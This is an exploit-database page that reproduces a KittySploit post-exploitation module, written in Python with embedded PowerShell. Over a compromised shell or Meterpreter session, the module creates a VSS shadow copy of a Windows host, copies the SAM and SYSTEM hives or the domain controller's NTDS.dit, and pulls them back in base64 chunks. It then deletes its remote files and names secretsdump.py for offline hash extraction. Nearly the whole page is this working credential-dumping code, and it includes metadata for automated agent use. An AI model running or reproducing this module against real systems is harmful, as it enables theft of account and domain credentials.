Lucene search
+L

Windows Backup SAM and SYSTEM (VSS)

🗓️ 26 Jun 2026 08:41:24Reported by KittySploitType 
kittysploit
 kittysploit
🔗 kittysploit.com👁 3 Views

Create VSS shadow copy to backup SAM, SYSTEM, or NTDS.dit hives via shell or Meterpreter.

Refs
Code
#!/usr/bin/env python3
# -*- coding: utf-8 -*-

"""
Backup SAM and SYSTEM hives (or NTDS.dit + SYSTEM on domain controllers) via VSS
shadow copy on a Windows shell or Meterpreter session. Artifacts are downloaded
through the session and saved under ./output.
"""

from kittysploit import *
from lib.post.windows.session import win_compat_failure_type, win_probe_powershell
import base64
import os
import re
import time

_LOCAL_OUT = "output"
_FILE_MARKER = "__KS_FILE__:"


class Module(Post):
    _AUTO_CLEANUP = True

    __info__ = {
        "name": "Windows Backup SAM and SYSTEM (VSS)",
        "description": (
            "Create a VSS shadow copy and copy SAM/SYSTEM registry hives (or NTDS.dit "
            "and SYSTEM on domain controllers) to a remote directory, then download "
            "the files through the current session."
        ),
        "author": "KittySploit Team",
        "platform": Platform.WINDOWS,
        "session_type": [SessionType.METERPRETER, SessionType.SHELL],
        "references": [
            "https://attack.mitre.org/techniques/T1003/002/",
            "https://attack.mitre.org/techniques/T1003/003/"],
    'agent': {
        'risk': 'intrusive',
        'effects': ['active_exploitation'],
        'expected_requests': 4,
        'reversible': False,
        'approval_required': True,
        'produces': ['risk_signals'],
        'cost': 1.5,
        'noise': 0.5,
        'value': 1.0,
        'requires':         {'min_endpoints': 0,
         'min_params': 0,
         'tech_hints_any': [],
         'tech_hints_all': [],
         'specializations_any': [],
         'risk_signals_any': [],
         'auth_session': False,
         'capabilities_any': [],
         'capabilities_all': [],
         'confidence_min': {},
         'confidence_min_any': {},
         'endpoint_pattern_any': [],
         'param_any': [],
         'api_surface_ready': False},
        'chain':         {'produces_capabilities': [],
         'consumes_capabilities': [],
         'option_bindings': {},
         'suggested_followups': []},
    },
    }

    out_dir = OptString("", "Remote directory for hive copies (default: %TEMP%)", False)
    chunk_kb = OptInteger(256, "Chunk size in kilobytes for session reads", False)

    def _execute_cmd(self, command: str) -> str:
        if not command:
            return ""
        output = self.cmd_execute(command)
        return output.strip() if output else ""

    def _encode_powershell(self, script: str) -> str:
        return base64.b64encode(script.encode("utf-16le")).decode("ascii")

    def _run_powershell(self, script: str) -> str:
        encoded = self._encode_powershell(script)
        return self._execute_cmd(f"powershell -NoP -NonI -EncodedCommand {encoded}")

    def _remote_temp_dir(self) -> str:
        if str(self.out_dir or "").strip():
            return str(self.out_dir).strip().rstrip("\\")
        output = self._execute_cmd("echo %TEMP%")
        if output:
            return output.splitlines()[0].strip().rstrip("\\")
        return "C:\\Windows\\Temp"

    def _ps_single_quote(self, value: str) -> str:
        return str(value).replace("'", "''")

    def _powershell_script(self) -> str:
        return r"""
function Copy-RawItem {
    [CmdletBinding()]
    param (
        [Parameter(Mandatory = $True, Position = 0)]
        [string]$Path,

        [Parameter(Mandatory = $True, Position = 1)]
        [string]$Destination,

        [Switch]$FailIfExists
    )

    $mscorlib = [AppDomain]::CurrentDomain.GetAssemblies() | Where-Object {
        $_.Location -and ($_.Location.Split('\')[-1] -eq 'mscorlib.dll')
    }
    $Win32Native = $mscorlib.GetType('Microsoft.Win32.Win32Native')
    $CopyFileMethod = $Win32Native.GetMethod('CopyFile', ([Reflection.BindingFlags] 'NonPublic, Static'))

    $CopyResult = $CopyFileMethod.Invoke($null, @($Path, $Destination, ([Bool] $PSBoundParameters['FailIfExists'])))
    $HResult = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error()

    if ($CopyResult -eq $False -and $HResult -ne 0) {
        throw (New-Object ComponentModel.Win32Exception)
    }

    Get-ChildItem -Path $Destination
}

function Backup-SAMSystem {
    [CmdletBinding()]
    param (
        [Parameter(Mandatory = $True)]
        [string]$OutputDir
    )

    if (-NOT ([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole(
            [Security.Principal.WindowsBuiltInRole] "Administrator")) {
        throw "Not running as administrator. Elevated credentials are required."
    }

    if (-not (Test-Path -LiteralPath $OutputDir)) {
        New-Item -ItemType Directory -Path $OutputDir -Force | Out-Null
    }

    $VssStartMode = (Get-WmiObject -Query "Select StartMode From Win32_Service Where Name='vss'").StartMode
    if ($VssStartMode -eq "Disabled") { Set-Service -Name vss -StartupType Manual }

    $VssStatus = (Get-Service -Name vss).Status
    if ($VssStatus -ne "Running") { Start-Service -Name vss }

    $DomainRole = (Get-WmiObject Win32_ComputerSystem).DomainRole
    $IsDC = $DomainRole -gt 3
    $FileDrive = if ($IsDC) {
        (Get-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\services\NTDS\Parameters")."DSA Database File" |
            ForEach-Object { $_.Substring(0, 3) }
    } else {
        "$($env:HOMEDRIVE)\"
    }

    $WmiClass = [WMICLASS]"root\cimv2:Win32_ShadowCopy"
    $ShadowCopy = $WmiClass.create($FileDrive, "ClientAccessible")
    $ReturnValue = $ShadowCopy.ReturnValue

    if ($ReturnValue -ne 0) {
        throw "Shadow copy failed with return value $ReturnValue"
    }

    $ShadowID = $ShadowCopy.ShadowID
    $ShadowVolume = (Get-WmiObject Win32_ShadowCopy | Where-Object { $_.ID -eq $ShadowID }).DeviceObject

    try {
        if (-not $IsDC) {
            $SamPath = Join-Path -Path $ShadowVolume -ChildPath "\Windows\System32\Config\sam"
            $SystemPath = Join-Path -Path $ShadowVolume -ChildPath "\Windows\System32\Config\system"
            $SamDest = Join-Path -Path $OutputDir -ChildPath "sam"
            $SystemDest = Join-Path -Path $OutputDir -ChildPath "system"
            Copy-RawItem -Path $SamPath -Destination $SamDest
            Copy-RawItem -Path $SystemPath -Destination $SystemDest
            Write-Output "__KS_FILE__:$SamDest"
            Write-Output "__KS_FILE__:$SystemDest"
            Write-Output "__KS_DC__:false"
        } else {
            $NTDSPath = Join-Path -Path $ShadowVolume -ChildPath "\Windows\NTDS\NTDS.dit"
            $SystemPath = Join-Path -Path $ShadowVolume -ChildPath "\Windows\System32\Config\system"
            $NTDSDest = Join-Path -Path $OutputDir -ChildPath "ntds"
            $SystemDest = Join-Path -Path $OutputDir -ChildPath "system"
            Copy-RawItem -Path $NTDSPath -Destination $NTDSDest
            Copy-RawItem -Path $SystemPath -Destination $SystemDest
            Write-Output "__KS_FILE__:$NTDSDest"
            Write-Output "__KS_FILE__:$SystemDest"
            Write-Output "__KS_DC__:true"
        }
    }
    finally {
        if ($VssStatus -eq "Stopped") { Stop-Service -Name vss -ErrorAction SilentlyContinue }
        if ($VssStartMode -eq "Disabled") { Set-Service -Name vss -StartupType Disabled -ErrorAction SilentlyContinue }
    }
}
"""

    def _write_remote_script(self, temp_dir: str):
        script_path = f"{temp_dir}\\backup_sam_system.ps1"
        blob_path = f"{temp_dir}\\backup_sam_system.b64"
        payload = base64.b64encode(self._powershell_script().encode("utf-8")).decode("ascii")
        chunks = [payload[i:i + 3500] for i in range(0, len(payload), 3500)]

        for index, chunk in enumerate(chunks):
            method = "WriteAllText" if index == 0 else "AppendAllText"
            ps = f"[IO.File]::{method}('{blob_path}','{chunk}');"
            self._run_powershell(ps)

        decode_script = (
            f"$b=[IO.File]::ReadAllText('{blob_path}');"
            f"[IO.File]::WriteAllText('{script_path}',"
            "[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($b)));"
        )
        self._run_powershell(decode_script)
        return script_path, blob_path

    def _cleanup_remote(self, paths):
        for path in paths:
            if not path:
                continue
            self._execute_cmd(f'del /f /q "{path}"')

    def _int_opt(self, val, default, minimum=None):
        try:
            n = int(val)
        except Exception:
            n = default
        if minimum is not None and n < minimum:
            n = minimum
        return n

    def _remote_file_size(self, path: str) -> int:
        pq = self._ps_single_quote(path)
        ps = f"(Get-Item -LiteralPath '{pq}').Length"
        out = self._run_powershell(ps).strip()
        if not out:
            return 0
        tail = out.splitlines()[-1].strip()
        try:
            return int(tail)
        except ValueError:
            digits = re.sub(r"\D", "", tail)
            return int(digits) if digits else 0

    def _read_remote_chunk_b64(self, path: str, offset: int, length: int) -> bytes:
        pq = self._ps_single_quote(path)
        ps = f"""$fs = [IO.File]::OpenRead('{pq}')
try {{
  $null = $fs.Seek({int(offset)}, [IO.SeekOrigin]::Begin)
  $buf = New-Object byte[] {int(length)}
  $n = $fs.Read($buf, 0, {int(length)})
  if ($n -le 0) {{ '' }} else {{ [Convert]::ToBase64String($buf, 0, $n) }}
}} finally {{
  $fs.Close()
}}"""
        out = self._run_powershell(ps)
        clean = re.sub(r"\s+", "", out)
        if not clean:
            return b""
        return base64.b64decode(clean)

    def _pull_file_via_session(self, remote_path: str, local_path: str) -> bool:
        size = self._remote_file_size(remote_path)
        if size <= 0:
            print_error(f"Remote file is missing or empty: {remote_path}")
            return False

        chunk = max(1024, self._int_opt(self.chunk_kb, 256, None) * 1024)
        parts = []
        offset = 0
        while offset < size:
            n = min(chunk, size - offset)
            blob = self._read_remote_chunk_b64(remote_path, offset, n)
            if len(blob) != n:
                print_error(f"Chunk read mismatch at offset {offset} (expected {n} bytes, got {len(blob)}).")
                return False
            parts.append(blob)
            offset += n

        parent = os.path.dirname(os.path.abspath(local_path))
        if parent:
            os.makedirs(parent, exist_ok=True)
        with open(local_path, "wb") as f:
            f.write(b"".join(parts))
        return True

    def _parse_remote_files(self, output: str):
        files = []
        is_dc = False
        for line in output.splitlines():
            line = line.strip()
            if line.startswith(_FILE_MARKER):
                files.append(line[len(_FILE_MARKER):].strip())
            elif line == "__KS_DC__:true":
                is_dc = True
        return files, is_dc

    def check(self):
        if not win_probe_powershell(self._execute_cmd):
            print_error("PowerShell is not available on the target")
            return False

        admin_check = self._run_powershell(
            "([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent())"
            ".IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)"
        )
        if "True" not in admin_check:
            print_error("Administrator privileges are required (VSS shadow copy)")
            whoami = self._execute_cmd("whoami")
            if whoami:
                print_warning(f"Current user: {whoami}")
            return False

        print_success("Administrator privileges confirmed")
        return True

    def run(self):
        if not self.check():
            raise ProcedureError(FailureType.NotAccess, "Administrator privileges are required")

        temp_dir = self._remote_temp_dir()
        stamp = time.strftime("%Y%m%d_%H%M%S")
        local_dir = os.path.join(_LOCAL_OUT, f"backup_sam_system_{stamp}")
        os.makedirs(local_dir, exist_ok=True)

        print_status("Uploading Backup-SAMSystem payload...")
        script_path, blob_path = self._write_remote_script(temp_dir)

        invoke = (
            "$ErrorActionPreference='Stop';"
            f". '{self._ps_single_quote(script_path)}';"
            f"Backup-SAMSystem -OutputDir '{self._ps_single_quote(temp_dir)}'"
        )

        print_status("Creating VSS shadow copy and copying registry hives...")
        result = self._run_powershell(invoke)

        cleanup_paths = [script_path, blob_path]
        remote_files, is_dc = self._parse_remote_files(result)

        if not remote_files:
            if self._AUTO_CLEANUP:
                self._cleanup_remote(cleanup_paths)
            if re.search(r"(Exception|failed|Not running as administrator|Shadow copy failed)", result, re.I):
                print_error(result or "Backup-SAMSystem failed without output")
                raise ProcedureError(FailureType.Unknown, "Backup-SAMSystem failed")
            raise ProcedureError(FailureType.Unknown, "No hive files were produced by Backup-SAMSystem")

        if is_dc:
            print_info("Domain controller detected — NTDS.dit and SYSTEM were copied")
        else:
            print_info("SAM and SYSTEM hives were copied on the target")

        saved = []
        for remote_path in remote_files:
            base = os.path.basename(remote_path.replace("\\", "/")) or "hive"
            local_path = os.path.join(local_dir, base)
            print_status(f"Downloading {remote_path}...")
            if not self._pull_file_via_session(remote_path, local_path):
                if self._AUTO_CLEANUP:
                    self._cleanup_remote(cleanup_paths + remote_files)
                raise ProcedureError(FailureType.Unknown, f"Failed to download {remote_path}")
            saved.append(local_path)
            if self._AUTO_CLEANUP:
                self._cleanup_remote([remote_path])

        if self._AUTO_CLEANUP:
            self._cleanup_remote(cleanup_paths)

        print_success("SAM/SYSTEM backup completed")
        for path in saved:
            rel = os.path.join(".", path)
            print_success(f"Saved {rel} ({os.path.getsize(path)} bytes)")
        if is_dc:
            print_info("Offline extraction: secretsdump.py -ntds ntds -system system LOCAL")
        else:
            print_info("Offline extraction: secretsdump.py -sam sam -system system LOCAL")
        return True

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

02 Aug 2026 20:51Current
6Medium risk
Vulners AI Score6
3